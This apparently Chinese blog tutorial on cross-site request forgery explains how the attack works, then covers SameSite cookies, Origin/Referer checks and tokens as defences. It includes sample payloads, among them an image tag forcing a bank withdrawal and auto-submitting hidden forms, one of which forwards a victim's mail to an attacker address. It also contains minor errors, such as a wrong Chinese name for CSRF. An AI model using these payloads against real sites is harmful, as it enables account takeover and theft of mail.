我們常常聽到這樣一句話:默認(rèn)的鏈接不要點(diǎn),那些年也聽過,郵箱中的垃圾鏈接不要點(diǎn)。 因為可能是黑客發(fā)起的CSRF攻擊,所以在點(diǎn)擊之前最好是確認(rèn)鏈接的安全性。
CSRF(Cross-site requests forgery)中文名:跨站腳本偽造
簡單的理解就是,黑客盜用了你的身份,以你的名義向你訪問的站點(diǎn)發(fā)送請求。這些請求操作可能是轉(zhuǎn)發(fā)郵件、獲取發(fā)送內(nèi)容,發(fā)起轉(zhuǎn)賬、獲取權(quán)限等。
CSRF攻擊發(fā)起于第三方網(wǎng)站,比較隱蔽,可以直接對用戶的利益造成損失。一旦攻擊成功,危害是很嚴(yán)重的。
用戶登錄某個站點(diǎn)后,黑客引誘用戶訪問第三方的惡意站點(diǎn),惡意站點(diǎn)利用用戶的登錄憑證,向用戶站點(diǎn)發(fā)送偽造的請求,從而執(zhí)行某種損害用戶利益的操作。
具體的流程是:
1、用戶訪問a.com(正常站點(diǎn)),并保持登錄狀態(tài)
2、黑客引誘用戶登錄hack.com(第三方惡意站點(diǎn)),hack.com攜帶登錄憑證向a.com發(fā)送請求
3、a.com驗證非法請求的登錄憑證,誤以為是用戶執(zhí)行了某種操作。
4、攻擊成功,a.com執(zhí)行操作(轉(zhuǎn)賬、開通權(quán)限、郵件過濾等)
所以CSRF攻擊要滿足兩個條件:
攻擊站點(diǎn)保持登錄狀態(tài)
后端允許跨域且沒有驗證請求來源
1、CSRF攻擊無法獲取站點(diǎn)的Cookie,只能盜用
2、CSRF攻擊一般是第三方站點(diǎn)發(fā)起,即肯定是跨域攻擊
GET請求攻擊
構(gòu)造非法的Get攻擊請求
<img src="http://bank.cm/withdraw?amount=500000&for=zhangsan" > 復(fù)制代碼
POST請求攻擊
后端配置CORS接口跨域請求,如果要攜帶Cookie,那么必須要配置具體的請求域名Access-Control-Allow-Origin, *test.cn
如果配置成Access-Control-Allow-Origin, *
是無法發(fā)送Cookie的,但對于Form提交來說確實可以攜帶Cookie的。所以CSRF POST攻擊主要通過Form表單實現(xiàn)。下面有實戰(zhàn)的例子。
嵌入的攻擊鏈接
主要對于內(nèi)容型網(wǎng)站、論壇、博客等,可以允許用戶評論等輸入內(nèi)容,如果黑客輸入攻擊鏈接,保存后,如果其他用戶點(diǎn)擊,就有可能發(fā)起攻擊。
一個實際攻擊的案例:
用戶A登錄郵箱后,看到一個領(lǐng)獎的郵件,就點(diǎn)擊進(jìn)去查看,發(fā)現(xiàn)什么都沒有
過了一段時間后,發(fā)現(xiàn)自己的郵箱賬號無法登錄了
A懷疑自己受到CSRF攻擊,就重置賬號后找到之前的異常郵件,查看源碼
發(fā)現(xiàn)是一段form表單提交的代碼,請求設(shè)置了郵件過濾器,將郵件都轉(zhuǎn)發(fā)到hack@163.com上,導(dǎo)致信息泄露
<form action="http://a.com/filter" method="POST">\ <p>user: <input type="hidden" name="filter" value="on" /></p>\ <p>email: <input type="hidden" name="email" value="hack@163.com" /></p>\ <p>email: <input type="hidden" name="action" value="filterEail" /></p>\ </form> <script> document.forms[0].submit(); </script> 復(fù)制代碼
實際這個案例背后發(fā)生了什么呢?
1、首先用戶登錄了郵箱賬號,這時候服務(wù)器返回給Cookie保存在本地。
2、當(dāng)用戶點(diǎn)擊了惡意鏈接,跳轉(zhuǎn)了惡意站點(diǎn),惡意站點(diǎn)帶著Cookie直接執(zhí)行轉(zhuǎn)發(fā)郵件的請求
3、服務(wù)器收到請求以后,以為是用戶自行發(fā)起的操作,就成功執(zhí)行
4、黑客就可以收到用戶郵件,也就可以通過驗證郵件驗證碼,重置用戶郵箱密碼,從而竊取用戶信息。
index.js
web.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>用戶正常訪問網(wǎng)站</title> <style> #app { color: red } </style> </head> <body> <div> <p>當(dāng)前為A站點(diǎn):用戶訪問的正常網(wǎng)站,默認(rèn)用戶已登錄站點(diǎn),并緩存Cookies</p> <p>站點(diǎn)的Cookie是:<span id="app"></span></p> <a target="target" href="http://localhost:8080/index.html">CSRF攻擊的惡意鏈接</p> </div> <script> document.cookie = "user:zhangsan" document.getElementById("app").innerHTML = document.cookie </script> </body> </html> 復(fù)制代碼
發(fā)起CSRF攻擊的站點(diǎn)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>csrf攻擊實踐</title> </head> <body> <p>當(dāng)前站點(diǎn)為B站點(diǎn):是發(fā)起csrf攻擊的站點(diǎn)</p> <div> <ul> <li>1、當(dāng)打開該站點(diǎn),該站點(diǎn)將請求A站點(diǎn)的api</li> <li>2、A站點(diǎn)接收到請求后,驗證Cookie,認(rèn)為是A站點(diǎn)的正常請求</li> <li>3、A站點(diǎn)執(zhí)行Api操作,然后用戶攻擊成功</li> </ul> </div> <form method="POST" action="http://localhost:9000/api" enctype="multipart/form-data"> <input type="hidden" name="lisi" value="true"/> <input type="hidden" name="email" value="hacker@hack.com"/> </form> <script> document.forms[0].submit(); </script> </body> </html> 復(fù)制代碼
啟動端口為8080的node服務(wù)
1、用戶正常訪問的登錄頁面
2、用戶點(diǎn)擊了未讀郵件的惡意鏈接
3、在正常站點(diǎn)后端Api,通過Cookie認(rèn)為這是一個正常的用戶操作,執(zhí)行了某種操作
根據(jù)CSRF攻擊的特點(diǎn):
(1)攻擊請求來源于第三方服務(wù)器,阻止其他外域的請求。
(2)通過Cookie冒用用戶信息,增加驗證信息
所以針對CSRF攻擊來源于第三方服務(wù)器,我們只能被動的減少服務(wù)器漏洞,防止攻擊,下面總結(jié)了一些常見的處理方式
這一條就很厲害了,保證安全,不明郵件或者不明URL不要點(diǎn)擊。如果非要點(diǎn)擊,復(fù)制出來,換個不常用的瀏覽器,清空所有Cookie,再點(diǎn)擊。
Chrome 51 開始,瀏覽器的 Cookie 新增加了一個SameSite
屬性,用來防止 CSRF 攻擊。
SameSite有以下三個值,表示的含義如下:
屬性值 | 說明 |
---|---|
Strict | 最為嚴(yán)格,除非請求地址和服務(wù)器地址一致時才會發(fā)送Cookie,嚴(yán)格禁止了第三方Cookie |
Lax | 相對放寬限制,除了a、link、form的GET提交攜帶Cookie,其他的都禁止 |
None | 不限制Cookie發(fā)送,但還是遵守同源策略 |
Strict 過于嚴(yán)格,比如登錄過的站點(diǎn),從百度搜索跳轉(zhuǎn)過去,要重新登錄,所以相對不友好。
設(shè)置了Strict和Lax模式,基本阻止了CSRF攻擊的可能,但可能影響頁面中的Form表單、iframe、ajax請求和圖片請求。
Chrome80之前默認(rèn)None,之后默認(rèn)Lax,下面是不同模式實際在項目中發(fā)送Cookie情況
請求類型 | 示例 | 正常情況 | Lax |
---|---|---|---|
鏈接 | <a href="..."></a> | 發(fā)送 Cookie | 發(fā)送 Cookie |
預(yù)加載 | <link rel="prerender" href="..."/> | 發(fā)送 Cookie | 發(fā)送 Cookie |
GET 表單 | <form method="GET" action="..."> | 發(fā)送 Cookie | 發(fā)送 Cookie |
POST 表單 | <form method="POST" action="..."> | 發(fā)送 Cookie | 不發(fā)送 |
iframe | <iframe src="..."></iframe> | 發(fā)送 Cookie | 不發(fā)送 |
AJAX | $.get("...") | 發(fā)送 Cookie | 不發(fā)送 |
Image | <img src="..."> | 發(fā)送 Cookie | 不發(fā)送 |
同源策略可以防止csrf攻擊嗎?
還需要驗證請求頭嗎?
驗證請求來源origin和referer
我們知道CSRF攻擊都是發(fā)起于第三方站點(diǎn),所以請求的來源必要和服務(wù)器不同,而且瀏覽器會自動給請求增加Origin和Referer字段,用來識別請求來源,那么只要我們在后端設(shè)置請求的來源,就可以防止CSRF攻擊。
下面獲取origin和referer,如果是第三方的請求,屏蔽即可。
對于Referer,如果添加了Meta標(biāo)簽,請求頭中的Referer將不會攜帶。
<meta name="referrer" content="never"> 復(fù)制代碼
Origin和Referer在個別瀏覽器表現(xiàn)不同,如果都無法獲取,直接禁止訪問即可。
網(wǎng)站為了保持登錄狀態(tài),開始一般都是登錄后,服務(wù)器默認(rèn)生成Cookies,客戶端保存Cookies,每次請求默認(rèn)都會攜帶Cookies,用戶后端驗證用戶身份。
但Cookie會存在被攻擊的風(fēng)險,所以可以替換成Token,Token一般是后端服務(wù)由隨機(jī)字符串+時間戳+其他生成然后通過加密算法生成。
用戶登錄后生成一個Token,后端保存起來,每次請求就可以驗證Token的合法性和有效期,甚至可以封裝user信息,這樣黑客就不容易冒充用戶發(fā)起攻擊,即使知道了加密的結(jié)構(gòu)也沒法通過登錄生成Token。
當(dāng)然這樣數(shù)據(jù)庫就會保存大量的Token,對于服務(wù)器會造成一定的壓力,也可以采取下面一種措施:同時保留Cookie和Token,Token僅用來防止CSRF攻擊,不再保存數(shù)據(jù)庫,直接在客戶端保存,請求發(fā)送到服務(wù)器后,根據(jù)生成Token的算法計算Token的有效期和合法性,這樣就避免了數(shù)據(jù)庫讀取的壓力。
token的校驗很常見,不僅可以用來做登錄驗證,也可以在使用Cookies做登錄認(rèn)證的同時使用token做CSRF的鑒權(quán)
文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請注明本文地址:http://specialneedsforspecialkids.com/yun/127961.html
摘要:,中文為跨站請求偽造是一種利用網(wǎng)站可信用戶的權(quán)限去執(zhí)行未授權(quán)的命令的一種惡意攻擊。防范技術(shù)令牌同步模式,簡稱是在用戶請求的頁面中的所有表單中嵌入一個,在服務(wù)端驗證這個的技術(shù)。 showImg(https://segmentfault.com/img/remote/1460000008505619); CSRF(Cross-site request forgery,中文為跨站請求偽造)是...
摘要:,中文為跨站請求偽造是一種利用網(wǎng)站可信用戶的權(quán)限去執(zhí)行未授權(quán)的命令的一種惡意攻擊。防范技術(shù)令牌同步模式,簡稱是在用戶請求的頁面中的所有表單中嵌入一個,在服務(wù)端驗證這個的技術(shù)。 showImg(https://segmentfault.com/img/remote/1460000008505619); CSRF(Cross-site request forgery,中文為跨站請求偽造)是...
摘要:參考深入解析跨站請求偽造漏洞攻擊的應(yīng)對之道相關(guān)安全,是一個很重要的技能,也是一個領(lǐng)域的知識。我把這個領(lǐng)域的東西寫成了一個系列,以后還會繼續(xù)完善下去安全一同源策略與跨域安全二攻擊安全三攻擊 什么是CSRF 全稱是(Cross Site Request Forgery)跨站請求偽造。也就是惡意網(wǎng)站偽裝成用戶向目標(biāo)網(wǎng)站服務(wù)器發(fā)送請求,騙取服務(wù)器執(zhí)行請求中的命令,直接在服務(wù)器改變數(shù)據(jù)值的一種攻...
摘要:參考深入解析跨站請求偽造漏洞攻擊的應(yīng)對之道相關(guān)安全,是一個很重要的技能,也是一個領(lǐng)域的知識。我把這個領(lǐng)域的東西寫成了一個系列,以后還會繼續(xù)完善下去安全一同源策略與跨域安全二攻擊安全三攻擊 什么是CSRF 全稱是(Cross Site Request Forgery)跨站請求偽造。也就是惡意網(wǎng)站偽裝成用戶向目標(biāo)網(wǎng)站服務(wù)器發(fā)送請求,騙取服務(wù)器執(zhí)行請求中的命令,直接在服務(wù)器改變數(shù)據(jù)值的一種攻...
摘要:系列文章前端安全系列篇前端安全系列篇介紹跨站請求偽造,也被稱為或者,通常縮寫為或者,是一種對網(wǎng)站的惡意利用。 系列文章: 前端安全系列:XSS篇前端安全系列:CSRF篇 CSRF介紹 CSRF(Cross-site request forgery)跨站請求偽造,也被稱為One Click Attack或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網(wǎng)站的惡意利...
閱讀 289·2024-11-07 18:25
閱讀 130366·2024-02-01 10:43
閱讀 868·2024-01-31 14:58
閱讀 828·2024-01-31 14:54
閱讀 82766·2024-01-29 17:11
閱讀 3048·2024-01-25 14:55
閱讀 1985·2023-06-02 13:36
閱讀 3033·2023-05-23 10:26